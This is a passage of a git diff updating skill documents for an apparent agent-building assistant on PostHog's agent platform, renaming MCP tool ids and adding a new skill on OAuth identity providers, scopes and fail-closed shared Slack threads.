+| `focus_revision` | Open one revision in the configuration panel. Args: `{ revisionId }` (full UUID). |
+| `focus_session` | Open one session in the sessions panel. Args: `{ sessionId }` (full UUID). Do NOT call without an id — if you don't have one yet, list first, then focus. |
+| `focus_spec_section` | Jump to a section of the spec: `triggers` / `tools` / `skills` / `secrets` / `limits`. Args: `{ section }`. |
+| `toast` | A status the user should notice outside the chat — long-running work starting, a state change in a panel they're not looking at. Don't toast things that fit naturally in the message. |
+| `get_context` | Resolve the user's current `project_id` for a PostHog MCP call (then `posthog__switch-project`), resolve "this agent" / "this session" mid-conversation, OR refresh after the user has navigated and your initial envelope is stale. Free, no side effects. Returns `{ page, agent, session_id, url, follow_enabled, client, project_id, project_name }`. |
Every `focus_*` returns `{ focused: true, kind }` on success or `{ focused: false, reason }` if the user paused follow-mode — degrade to text narration when off.
If a client tool returns `unhandled_client_tool: <id>` or `client_tool_timeout`, you're in an environment that doesn't implement it (MCP / IDE / etc.). Degrade to text — don't keep retrying.
-You don't post to Slack yourself — your own triggers are chat + MCP,
-where the platform streams your text back to the client, so your reply
-_is_ the channel. (A fleet-audit sweep lands its report in memory, not
-Slack — see `skills/auditing-the-fleet`.)
+Your triggers are chat, MCP, **and Slack**. On every one the platform
+streams your finalized reply back to the originating surface — so your
+reply _is_ the channel; you never call a Slack tool to answer (on Slack,
+just reply in natural language with Slack-flavored formatting). (A
+fleet-audit sweep lands its report in memory, not Slack — see
+`skills/auditing-the-fleet`.)
**The same now holds for the Slack-triggered agents you build.** The
platform relays each finalized assistant message into the originating
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/auditing-the-fleet/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/auditing-the-fleet/SKILL.md
index 37864676bcc9..8494627fda6e 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/auditing-the-fleet/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/auditing-the-fleet/SKILL.md
@@ -28,7 +28,7 @@ single-agent flow:
recommendations for the user to action after (see step 4).
2. **No promotes, ever — propose, don't dispose.** Even with the user
reachable, an audit's job is to surface and propose, not to ship.
- `promote` / `archive` need explicit consent (`session_principal`
+ `promote` / `archive` need explicit consent (a `principal`
approval) and are out of scope for the sweep itself. Your write
surface this run is: `new-draft-create`, the bundle edit tools
(`agent-md-update`, `skills-update`, `tools-update`,
@@ -58,7 +58,7 @@ report and audit everything fresh.
### 2. Enumerate the fleet
-`agent-applications-list`. Drop archived agents. For each remaining
+`posthog__agent-applications-list`. Drop archived agents. For each remaining
agent you have a slug + id + `live_revision`. That's your worklist.
### 3. Per-agent triage (breadth-first)
@@ -66,7 +66,7 @@ agent you have a slug + id + `live_revision`. That's your worklist.
For **each** agent, cheapest signal first — only go deep when a
cheap signal is bad:
-1. `agent-applications-sessions-list` for the agent, last ~24–48h.
+1. `posthog__agent-applications-sessions-list` for the agent, last ~24–48h.
Bucket by `state`. The cheap red flags:
- any `failed` sessions
- `completed` sessions pinned at the turn / tool-call cap (ran to
@@ -77,7 +77,7 @@ cheap signal is bad:
2. If the buckets are clean, write one line ("healthy, N sessions,
no failures") and move on. **Most agents should be one line.**
3. If a bucket is dirty, open the worst 1–3 sessions with
- `agent-applications-sessions-retrieve` + `agent-applications-session-logs`
+ `posthog__agent-applications-sessions-retrieve` + `posthog__agent-applications-session-logs`
and run the `debugging-sessions` taxonomy. You're after the
**root cause**, not a restatement of the symptom — "hit
max_tool_calls because it re-ran the same `@posthog/query` 40×
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/authenticating-as-the-user/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/authenticating-as-the-user/SKILL.md
new file mode 100644
index 000000000000..7da11aeb97d0
--- /dev/null
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/authenticating-as-the-user/SKILL.md
@@ -0,0 +1,138 @@
+# Skill — authenticating as the user (the identity system)
+
+Load this whenever you wire an agent that calls PostHog or any
+third-party API **as the user** — adding an MCP with `auth.provider`,
+giving a tool that acts on the user's behalf, choosing OAuth scopes, or
+when the user asks about connecting / linking / OAuth / "act as me". This
+is the whole model end to end; get it right and the agents you build can
+safely do work on a real person's behalf.
+
+## Two axes — keep them separate
+
+Identity has two independent questions. Confusing them is the #1 mistake.
+
+1. **Principal — _who is asking?_** Set by the trigger:
+ - `posthog` (chat / MCP): an authenticated PostHog user — the bearer
+ arrives at the trigger edge (the PostHog Code / IDE passthrough).
+ - `slack`: a Slack user (identified by their Slack user id).
+ - `jwt`: an embedding app's end-user.
+ The principal is _who_, not _what they can do_.
+
+2. **Credential provider — _how does the agent act as them on a service?_**
+ Declared in `spec.identity_providers[]`. A provider turns the principal
+ into a usable bearer for one service (PostHog, GitHub, Linear, …).
+
+A tool or MCP says "I need to act as the user on service X" by naming a
+provider. The runtime then resolves the asking principal → that provider's
+credential. Same shape for PostHog and for a bring-your-own API.
+
+## `spec.identity_providers[]`
+
+Two kinds:
+
+- **`kind: "posthog"`** — the managed PostHog provider. You declare it with
+ just `scopes`; on promote the backend provisions a normal (user-consented)
+ OAuth app and injects its `client_id`. Use this for any agent that calls
+ PostHog as the user.
+
+ ```json
+ { "kind": "posthog", "scopes": ["openid", "profile", "email", "user:read", "query:read", "insight:read"] }
+ ```
+
+- **`kind: "oauth2"`** — bring-your-own provider (GitHub, Linear, an internal
+ API). You supply the endpoints + client:
+
+ ```json
+ {
+ "kind": "oauth2",
+ "id": "github",
+ "authorize_url": "https://github.com/login/oauth/authorize",
+ "token_url": "https://github.com/login/oauth/access_token",
+ "userinfo_url": "https://api.github.com/user",
+ "client_id": "...",
+ "client_secret_ref": "GITHUB_OAUTH_SECRET",
+ "scopes": ["repo", "read:user"]
+ }
+ ```
+
+ `client_secret_ref` names an `encrypted_env` secret (set it like any other
+ secret — see `secrets-and-integrations`).
+
+Both take `binding: "principal"` (default) — the credential is per-asker, "act
+as THIS user". (`binding: "agent"`, one shared app credential, is a future
+seam — don't use it.)
+
+## How a capability says it needs a provider
+
+- **MCP server:** `"auth": { "provider": "posthog" }` on the `mcps[]` entry.
+ The runner stamps the asker's bearer on every request to that MCP. This is
+ how the PostHog MCP itself is wired.
+- **Native tool:** the tool's own `requires.provider` declares it (you don't
+ set this — it's baked into the native tool). PostHog-API native tools resolve
+ the posthog provider automatically.
+- **Custom tool:** `"requires_identity": "<provider id>"` on the `tools[]` entry
+ — the agent is handed an `auth_required` link to relay if the user is unlinked
+ (credential injection into the sandbox is a later step).
+
+## What resolution produces — and what the agent does
+
+Every identity-gated call resolves to one of three outcomes:
+
+- **`ok`** — a bearer was available; the call runs as the user.
+- **`link_required`** — the user hasn't linked yet. The tool/MCP returns a
+ connect link (an `auth_required` payload, or the MCP degrades with one). The
+ agent **relays it as a markdown link** ("Connect your PostHog account: [link]"),
+ asks the user to click, then retries — it is NOT an error or a dead capability.
+- **`unavailable`** — can't link here (e.g. a shared thread, or an
+ anonymous principal). Surface plainly.
+
+Where the bearer comes from depends on the surface:
+
+- **chat / MCP (PostHog Code, IDE):** passthrough from the trigger edge —
+ already authenticated, no link step.
+- **slack:** the user links once via the OAuth flow. After linking it's
+ persisted per-user and reused.
+
+**`@posthog/identity-connect`** mints a connect/reconnect link on demand for any
+declared provider — use it to proactively hand the user a link ("connect my
+PostHog account") rather than waiting for a call to fail. If a linked grant is
+later missing a scope the service now requires, the same path offers a
+**reconnect** link (re-authorize with the updated scopes).
+
+## Choosing scopes
+
+- Use **explicit OAuth scope objects**, never `*` — `*` is a personal-API-key
+ concept and OAuth `/authorize` rejects it (`invalid_scope`).
+- Always include the identity scopes `openid profile email` and **`user:read`**
+ — the PostHog MCP's first call is `/api/users/@me/`, which needs `user:read`;
+ omit it and even read tools fail.
+- Add the `:read` / `:write` scopes for exactly the surfaces the agent touches:
+ `query:read` + `insight:read` for analytics, `agents:read` + `agents:write`
+ for authoring other agents, `feature_flag:read`, `error_tracking:read`, etc.
+ The OAuth app's scope ceiling is provisioned from this list, so widening it
+ later means a re-promote and a re-link.
+- If the user hits a 403 on a surface, the fix is usually an added `:read`
+ scope (then re-link), not a workaround. A 403 on a scope they _have_ is their
+ account's access speaking — surface it, don't route around it.
+
+## Shared threads fail closed
+
+A Slack trigger with `allow_workspace_participants: true` lets anyone in the
+workspace drive an open thread. Identity then **fails closed**: the agent will
+not resolve the thread owner's credential to act for a different participant
+(that would be a confused-deputy). An agent that acts as the user on a service
+must keep `allow_workspace_participants: false` (owner-only) — the asker is the
+session owner and only their own identity ever resolves.
+
+## Wiring checklist for an agent that acts on PostHog as the user
+
+1. Add the MCP: `{ "id": "posthog", "url": "<mcp url>", "auth": { "provider": "posthog" } }`.
+2. Declare `identity_providers: [{ "kind": "posthog", "scopes": [...] }]` with
+ `user:read` + the surfaces it needs. Set it with
+ `posthog__agent-applications-revisions-partial-update` (or `…-spec-update` for a
+ whole-spec replace); both accept `identity_providers` and an MCP's `auth.provider`.
+ `…-revisions-retrieve` afterwards to confirm both landed.
+3. If Slack-triggered: `allow_workspace_participants: false`, and tell it in
+ `agent.md` to relay the connect link when a call comes back needing one.
+4. Validate, freeze, promote — promote provisions the OAuth app. Then the user
+ links on first use.
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/authoring-new-agents/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/authoring-new-agents/SKILL.md
index 3645cb441c24..0ef606050079 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/authoring-new-agents/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/authoring-new-agents/SKILL.md
@@ -37,14 +37,14 @@ will throw away.
## Phase 1 — discover
```text
-@posthog/agent-applications-spec-schema → authoritative spec shape (call before you design)
-@posthog/agent-applications-native-tools-list → built-in tool catalog
-agent-applications-list → existing agents (clone target?)
+posthog__agent-resolve-resource → read this playbook before you design
+posthog__agent-native-tools-list → built-in tool catalog (valid native tool ids)
+posthog__agent-applications-list → existing agents (clone target?)
```
If the user describes something close to an existing agent,
**suggest cloning** instead of writing fresh. Use
-`agent-applications-revisions-clone-from-create` to start from
+`posthog__agent-applications-revisions-clone-from-create` to start from
that bundle. Saves a lot of work.
For platform-level templates (skill templates, custom-tool
@@ -53,9 +53,11 @@ reference them until they exist.
## Phase 2 — design the spec
-Call `@posthog/agent-applications-spec-schema` first — it returns the
-authoritative shape for every field below. Decide the _values_ here; let
-the schema settle the _structure_.
+Re-read this `authoring-new-agents` playbook via
+`posthog__agent-resolve-resource` before you design — it's the
+reference for every field below. Decide the _values_ here; let the
+playbook settle the _structure_, and pin down valid native tool ids
+with `posthog__agent-native-tools-list`.
Sketch the spec in your head / out loud with the user, BEFORE
calling any create endpoint. Cover:
@@ -89,20 +91,23 @@ calling any create endpoint. Cover:
Show the proposed spec to the user before creating. They will
catch things you missed.
-### Get the shape from the tool, not from memory
+### Get the shape from the tools, not from memory
-`@posthog/agent-applications-spec-schema` is the authoritative source
-for `spec` structure — every field, enum, default, and the
-discriminated unions for `triggers[]` (auth lives per-trigger),
-`tools[]` (`native` vs `custom` vs `client`), and `secrets[]`
-(bare string vs `{name, allowed_hosts}`). Match it instead of
-hand-copying shapes from memory or another agent; guessing the shape
-is what used to cost 5-10 trial-and-error turns per session. Pair it
-with `@posthog/agent-applications-native-tools-list` for valid native
-tool ids (the validator rejects unknown ones).
+Don't guess the `spec` structure from memory or hand-copy it from
+another agent — guessing the shape is what used to cost 5-10
+trial-and-error turns per session. Instead: read this
+`authoring-new-agents` playbook via `posthog__agent-resolve-resource`
+for the field reference (every field, enum, default, and the
+discriminated unions for `triggers[]` with per-trigger auth, `tools[]`
+as `native` vs `custom` vs `client`, and `secrets[]` as bare string vs
+`{name, allowed_hosts}`); pin down valid native tool ids with
+`posthog__agent-native-tools-list` (the validator rejects unknown ones);
+and run `posthog__agent-applications-revisions-validate-create` on a
+draft spec to surface concrete errors rather than guessing whether the
+shape is right.
-Two facts the schema can't give you, because they aren't part of the
-spec:
+Two facts the field reference can't give you, because they aren't
+part of the spec:
- **Trigger-required secrets** (`SLACK_SIGNING_SECRET`,
`SLACK_BOT_TOKEN` for `slack` triggers) are NOT listed in
@@ -111,13 +116,13 @@ spec:
the promote endpoint refuses if they're missing. See
`skills/secrets-and-integrations`.
- **Custom-tool `source.ts` shape** (Phase 5) is the tool's runtime
- contract, not spec structure — the schema won't describe it.
+ contract, not spec structure — the field reference won't describe it.
## Phase 3 — create
```text
-@posthog/agent-applications-create → returns { id, slug }
-@posthog/agent-applications-revisions-create → empty draft revision (with spec)
+posthog__agent-applications-create → returns { id, slug }
+posthog__agent-applications-revisions-create → empty draft revision (with spec)
```
`revisions-create` accepts the full spec inline — pass the Phase 2
@@ -125,7 +130,7 @@ JSON straight in. Don't create-empty-then-partial-update; that's
two round-trips for nothing.
**Drive the PostHog Code UI** so the user follows along. Right after
-`agent-applications-create` returns, call:
+`posthog__agent-applications-create` returns, call:
```text
focus_tab({ slug: "<new-slug>", tab: "configuration" })
@@ -148,7 +153,7 @@ from the user's current page (they navigate while you think).
If you need to amend the spec on a draft:
```text
-@posthog/agent-applications-revisions-partial-update revision_id=<rid> spec=<json>
+posthog__agent-applications-revisions-partial-update revision_id=<rid> spec=<json>
```
## Phase 4 — configure secrets / integrations
@@ -169,19 +174,23 @@ already has that integration installed. If not, tell the user to
install it from the PostHog integrations UI — you can't do this
for them.
+When the new agent must call PostHog or a third-party API as the
+user, load `skills/authenticating-as-the-user` to wire its identity
+provider + scopes.
+
## Phase 5 — write the bundle (typed authoring API)
The authoring surface is **typed resources, not file paths**. You
never write a path; you upsert a typed object via one of these calls:
-| Resource | Tool | Body shape |
-| ------------- | ---------------------------------------------- | -------------------------------------------------- |
-| System prompt | `agent-applications-revisions-agent-md-update` | `{ content }` |
-| Spec | `agent-applications-revisions-partial-update` | `{ spec }` (author-facing slice — no skills/tools) |
-| One skill | `agent-applications-revisions-skills-update` | `{ description, body, files? }` |
-| Delete skill | `agent-applications-revisions-skills-destroy` | (no body) |
-| One tool | `agent-applications-revisions-tools-update` | `{ description, args_schema, source }` |
-| Delete tool | `agent-applications-revisions-tools-destroy` | (no body) |
+| Resource | Tool | Body shape |
+| ------------- | ------------------------------------------------------- | -------------------------------------------------- |
+| System prompt | `posthog__agent-applications-revisions-agent-md-update` | `{ content }` |
+| Spec | `posthog__agent-applications-revisions-partial-update` | `{ spec }` (author-facing slice — no skills/tools) |
+| One skill | `posthog__agent-applications-revisions-skills-update` | `{ description, body, files? }` |
+| Delete skill | `posthog__agent-applications-revisions-skills-destroy` | (no body) |
+| One tool | `posthog__agent-applications-revisions-tools-update` | `{ description, args_schema, source }` |
+| Delete tool | `posthog__agent-applications-revisions-tools-destroy` | (no body) |
**`spec.skills[]` and `spec.tools[]` are server-derived at freeze.**
You can't write them via `partial-update`. The janitor scans the typed
@@ -279,7 +288,7 @@ than rewriting the whole bundle.
## Phase 6 — validate
-`agent-applications-revisions-validate-create`. Returns
+`posthog__agent-applications-revisions-validate-create`. Returns
`{ ok, revision_id, revision_state, errors, resolved_natives }`. Fix
every error before freeze — they block.
@@ -300,7 +309,7 @@ Load `skills/running-and-evaluating-tests`. Write 3-5 test cases
covering the happy path, the obvious edge cases, and one hostile
input.
-`agent-applications-revisions-freeze-create` then
+`posthog__agent-applications-revisions-freeze-create` then
`agent-applications-revisions-test-run`. Read the results,
iterate.
@@ -311,7 +320,7 @@ fix, re-freeze, re-test. (Same loop as
## Phase 8 — promote
Explicit confirmation, as always.
-`agent-applications-revisions-promote-create`.
+`posthog__agent-applications-revisions-promote-create`.
For high-stakes agents (production-traffic-affecting, customer-
visible, money-moving), **suggest a preview link first** (per
@@ -329,7 +338,7 @@ revision before promoting.
assistant for X". Will work for trivial cases, fail for
anything specific. Push depth into skills.
- **Premature custom tooling.** User reaches for a custom tool
- before checking native ones. Cross-check `@posthog/agent-applications-native-tools-list`
+ before checking native ones. Cross-check `posthog__agent-native-tools-list`
first — half the time the native tool exists.
- **Secrets in `agent.md`.** Comes up often. Refuse hard, load
`skills/secrets-and-integrations`.
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/cost-and-quota-analysis/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/cost-and-quota-analysis/SKILL.md
index a1b3917e922e..a1e4a41c898b 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/cost-and-quota-analysis/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/cost-and-quota-analysis/SKILL.md
@@ -1,6 +1,6 @@
# Skill — cost and quota analysis
-How to use `@posthog/query` to answer "how much does this agent
+How to use `posthog__execute-sql` to answer "how much does this agent
cost?" / "where is it slow?" / "what's the failure rate?". Load
when the user asks about cost, performance, usage, or limits.
@@ -41,7 +41,7 @@ the join key), `$agent_application_id` (your primary filter),
> but tokens are non-zero, you're on the gateway path — the authoritative
> per-session cost is the session row's `usage_total`, which the runner
> backfills from the gateway after each turn. Read it via
-> `agent-applications-sessions-retrieve`, not from the events. Always
+> `posthog__agent-applications-sessions-retrieve`, not from the events. Always
> sanity-check a cost rollup against token volume before reporting it.
Verify the events exist for your team before trusting a query:
@@ -274,7 +274,7 @@ external dependency.
- **Gateway path zeroes `$ai_total_cost_usd`.** This is the one that
bites: a cost rollup reads zero on the gateway path even though the
agent is spending money. Token counts stay accurate. Truth-of-cost is
- the session row's `usage_total` (`agent-applications-sessions-retrieve`).
+ the session row's `usage_total` (`posthog__agent-applications-sessions-retrieve`).
See the boxed caveat at the top.
- **Emission is best-effort.** The runner's analytics writes are
fire-and-forget; a dropped event means a slightly low count, never a
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/debugging-sessions/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/debugging-sessions/SKILL.md
index 0d92b7c1dfe8..0832af521134 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/debugging-sessions/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/debugging-sessions/SKILL.md
@@ -27,12 +27,12 @@ Then pick the matching branch below.
`{ kind: 'session', session_id: <id> }`.
2. **Retrieve the session**.
- `@posthog/agent-applications-sessions-retrieve` returns the conversation,
+ `posthog__agent-applications-sessions-retrieve` returns the conversation,
the principal, the state, started_at, ended_at, usage_total,
trigger metadata.
3. **Retrieve the logs**.
- `@posthog/agent-applications-session-logs` returns the structured event
+ `posthog__agent-applications-session-logs` returns the structured event
stream. The event kinds (`SessionEventKind`) are:
`session_started | turn_started | user_message | assistant_text |
tool_call | tool_result | client_tool_call | client_tool_result |
@@ -136,7 +136,7 @@ when `ok: false`, an `error` string. Classify the source:
the MCP failed to open at session start (surfaced to the model in
the system prompt as an unavailable capability). Check whether the
MCP endpoint in `spec.mcps[]` is up (the runner doesn't health-
- check it; you may need to `@posthog/agent-applications-sessions-list`
+ check it; you may need to `posthog__agent-applications-sessions-list`
for other agents using the same MCP to confirm cross-impact).
- **Custom tool error** — the sandboxed code threw or the sandbox
killed it. Pull the tool source from the bundle to read what it
@@ -174,7 +174,7 @@ error events. The agent did something other than what was wanted.
**Evidence:** read the system prompt
(`revisions-system-prompt`) + the conversation
-(`@posthog/agent-applications-sessions-retrieve` → `conversation` field). Compare the
+(`posthog__agent-applications-sessions-retrieve` → `conversation` field). Compare the
agent's tool-call choices to what the prompt asks for.
Common subcategories:
@@ -225,7 +225,7 @@ Compare the `queued` approval's timestamp against now.
**Action:** if the user is surprised a gated action never happened,
explain it was waiting on a human approval that expired, the session
was re-queued, and the model moved on. Suggest a longer TTL, a
-different approver list, or removing the approval requirement if it
+different approval `type`, or removing the approval requirement if it
was paranoia.
### F. Queued forever / never picked up
@@ -246,7 +246,7 @@ in #agents-platform-help" if confirmed.
### G. Trigger / auth failure (session never opened)
**Recognize:** the user says "the agent isn't responding" but
-`@posthog/agent-applications-sessions-list` shows no recent session for
+`posthog__agent-applications-sessions-list` shows no recent session for
the trigger they expected.
**Evidence:** the trigger / auth path failed before a session
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/designing-mcp-surfaces/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/designing-mcp-surfaces/SKILL.md
index a6d836d7d521..e796f19614b6 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/designing-mcp-surfaces/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/designing-mcp-surfaces/SKILL.md
@@ -52,6 +52,9 @@ reason })` as a typed entry; the connecting LLM routes to it
- The agent is going to be called **programmatically** by another
system, not by a human conversational LLM.
+If the exposed MCP/tools act on a third-party API as the user, wire an
+identity provider — see `skills/authenticating-as-the-user`.
+
Don't add curated tools when:
- The agent's job is genuinely conversational
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/editing-agents-safely/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/editing-agents-safely/SKILL.md
index 95f37c7a4de8..17dbd9f5a3a8 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/editing-agents-safely/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/editing-agents-safely/SKILL.md
@@ -35,7 +35,7 @@ proceed until you've read both `spec` and the relevant file(s).
## Step 2 — branch a draft
-Always: `agent-applications-revisions-new-draft-create` from the
+Always: `posthog__agent-applications-revisions-new-draft-create` from the
current `live_revision_id`. You get a fresh draft pre-populated
with the live bundle + spec.
@@ -53,24 +53,35 @@ sees it.
Choose the right verb:
-| Verb | When | Reversibility |
-| ---------------------------------------------- | ------------------------------------------------------ | ------------------------------------------ |
-| `agent-applications-revisions-partial-update` | Change `spec` (model, limits, triggers, tools[], etc.) | Easy — the next partial-update overwrites |
-| `agent-applications-revisions-agent-md-update` | Overwrite `agent.md` (the system prompt) | Easy — re-write |
-| `agent-applications-revisions-skills-update` | Upsert one skill (body + companion files) | Easy — re-write |
-| `agent-applications-revisions-skills-destroy` | Delete one skill | **Hard** — content gone unless you have it |
-| `agent-applications-revisions-tools-update` | Upsert one custom tool (source + schema) | Easy — re-write |
-| `agent-applications-revisions-tools-destroy` | Delete one custom tool | **Hard** — content gone unless you have it |
-
-These are all native `@posthog/agent-applications-*` tools — there's
+| Verb | When | Reversibility |
+| ------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- | ------------------------------------------ |
+| `posthog__agent-applications-revisions-partial-update` | Change `spec` fields (model, limits, triggers, tools[], identity_providers, mcps) — merges into the spec | Easy — the next update overwrites |
+| `posthog__agent-applications-revisions-spec-update` | Replace the whole `spec` at once (a large rewrite) | Easy — overwrites the spec |
+| `posthog__agent-applications-revisions-agent-md-update` | Overwrite `agent.md` (the system prompt) | Easy — re-write |
+| `posthog__agent-applications-revisions-skills-update` | Upsert one skill (body + companion files) | Easy — re-write |
+| `posthog__agent-applications-revisions-skills-destroy` | Delete one skill | **Hard** — content gone unless you have it |
+| `posthog__agent-applications-revisions-tools-update` | Upsert one custom tool (source + schema) | Easy — re-write |
+| `posthog__agent-applications-revisions-tools-destroy` | Delete one custom tool | **Hard** — content gone unless you have it |
+
+These are all `posthog__agent-applications-*` MCP tools — there's
no bulk bundle-replace verb, which is deliberate: edit the one thing
that changed (`agent-md-update` / `skills-update` / `tools-update`)
rather than rewriting the whole bundle.
+After any `spec` write, `posthog__agent-applications-revisions-retrieve` to
+confirm what actually persisted.
+
When the edit changes `spec` (a trigger, tool, limit, model,
-`reasoning`), call `@posthog/agent-applications-spec-schema` for the
-exact shape of the field you're touching rather than hand-editing
-structure from memory — it's the same schema validate checks against.
+`reasoning`), don't hand-edit the structure from memory. There's no
+spec-schema tool, so get the shape right empirically: run
+`posthog__agent-applications-revisions-validate-create` on the draft
+and let its concrete errors point at the field you got wrong, and use
+`posthog__agent-native-tools-list` for the valid tool ids. Iterate on
+validate until it's clean rather than guessing the structure.
+
+If the edit changes how the agent authenticates to a service (identity
+provider, scopes, MCP auth.provider), load
+`skills/authenticating-as-the-user`.
For each edit, surface to the user:
@@ -83,7 +94,7 @@ In PostHog Code, `focus_file` to each file as you touch it.
## Step 4 — validate
-`agent-applications-revisions-validate-create` against the draft.
+`posthog__agent-applications-revisions-validate-create` against the draft.
Returns `{ ok, revision_id, revision_state, errors, resolved_natives }`.
- **Errors block freeze.** Fix every one before proceeding.
@@ -91,19 +102,20 @@ Returns `{ ok, revision_id, revision_state, errors, resolved_natives }`.
Common errors:
- `unknown_native_tool` — you wrote `@posthog/queries` instead of
- `@posthog/query`. Cross-check against `@posthog/agent-applications-native-tools-list`.
+ `@posthog/query`. Cross-check against `posthog__agent-native-tools-list`.
- `unresolved_skill_path` — `spec.skills[].path` points at a file
that isn't in the bundle. Either add the file or remove the spec
entry.
- `missing_secret` — `spec.secrets[]` lists a name without a
corresponding env value. Load `skills/secrets-and-integrations`.
- `invalid_spec` — Zod parse failed. The error message names the
- field; if its shape is unclear, call
- `@posthog/agent-applications-spec-schema` rather than guessing.
+ field and the expected shape; fix it from the validate error and
+ re-run `posthog__agent-applications-revisions-validate-create`
+ rather than guessing.
## Step 5 — freeze
-`agent-applications-revisions-freeze-create`. State flips
+`posthog__agent-applications-revisions-freeze-create`. State flips
`draft → ready`, `bundle_sha256` is stamped, no more edits.
**Confirm with the user before freezing** if any of these are
@@ -149,12 +161,12 @@ point. Frozen means frozen.
Wait for the user's confirmation token. Don't paraphrase ("ok,
ship it!") into a promote — be literal.
-Then call `agent-applications-revisions-promote-create`.
+Then call `posthog__agent-applications-revisions-promote-create`.
## Step 8 — observe
After promoting, **watch the first real session(s)**. In
-PostHog Code, `focus_session` for `@posthog/agent-applications-sessions-list`
+PostHog Code, `focus_session` for `posthog__agent-applications-sessions-list`
and tell the user you're watching for the next fire. If something
looks wrong in the first 1-3 sessions, you have a quick rollback:
@@ -162,7 +174,7 @@ looks wrong in the first 1-3 sessions, you have a quick rollback:
Promote the previous revision back to live:
-`agent-applications-revisions-promote-create` against the
+`posthog__agent-applications-revisions-promote-create` against the
previously-live revision (which is now in `archived` state, but
re-promotable).
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/platform-mental-model/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/platform-mental-model/SKILL.md
index fb27618c0d4e..dd1f4a4d1361 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/platform-mental-model/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/platform-mental-model/SKILL.md
@@ -54,8 +54,11 @@ the revision row. It declares:
- `reasoning` — provider-specific thinking level (`minimal` → `xhigh`)
This is the conceptual map. For the exact field shapes, enums, and
-defaults, call `@posthog/agent-applications-spec-schema` — the live
-schema the API validates against, not this prose.
+defaults, don't guess — run a candidate spec through
+`posthog__agent-applications-revisions-validate-create` and read its
+errors, and cross-check tool ids against
+`posthog__agent-native-tools-list`. Those reflect what the API actually
+validates against, not this prose.
A **bundle** is the content layer of a revision. A filesystem-like
tree stored in S3, with a manifest in Postgres. Always contains
@@ -130,7 +133,7 @@ This is the most common source of confusion. Be precise.
| **MCP** (`spec.mcps`) | Not in `tools[]` — listed in `spec.mcps[]` instead | In a remote MCP server | Anything any MCP exposes. Routed by prefix `<id>__<name>`. |
| **Client** | `{ kind: "client", id, description, args_schema }` | In the connecting client | `focus_revision`, `focus_session`, `focus_file`, `toast` |
-Native tools are catalogued via `@posthog/agent-applications-native-tools-list`. MCP
+Native tools are catalogued via `posthog__agent-native-tools-list`. MCP
tools are discoverable per server via the MCP `tools/list` call
made at session start. Client tools are declared in the spec; the
connecting client opts into the subset it implements.
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/querying-ai-observability/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/querying-ai-observability/SKILL.md
index 042ef2fd520b..2f1435f8ceb2 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/querying-ai-observability/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/querying-ai-observability/SKILL.md
@@ -5,7 +5,7 @@ conversation JSON tells you _what was said_; the LLM-observability
events tell you _what it cost, how long it took, what the model
actually saw, and where a tool errored_. The runner emits these into
**the agent's own team project**, so you can HogQL them with
-`@posthog/query` as the connected user — no extra setup.
+`posthog__execute-sql` as the connected user — no extra setup.
Load this for the authoritative event contract. `cost-and-quota-analysis`
has the cost-framing rollups; this skill has the ground truth of
@@ -185,7 +185,7 @@ single-agent deep dive.
(the gateway owns billing; pi-ai's client-side number is an
estimate). Token counts are still accurate. For true cost on the
gateway path, the session row's `usage_total` is authoritative —
- read it via `agent-applications-sessions-retrieve`.
+ read it via `posthog__agent-applications-sessions-retrieve`.
- **Emission is best-effort.** A dropped event means a slightly low
count, never a wrong one. Don't treat counts as exact.
- **Heavy columns** (`$ai_input`, `$ai_output_choices`,
diff --git a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/reading-an-agent/SKILL.md b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/reading-an-agent/SKILL.md
index 4e225c9878dd..ef8f3d135f75 100644
--- a/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/reading-an-agent/SKILL.md
+++ b/products/agent_platform/services/agent-tests/src/examples/agent-builder/skills/reading-an-agent/SKILL.md
@@ -9,13 +9,13 @@ For "what does X do?" / "show me X" / "is X healthy?", in this
order — DO NOT skip steps because you already have a partial
mental model from earlier in the session.
-1. **Locate the application.** Call `@posthog/agent-applications-list` if
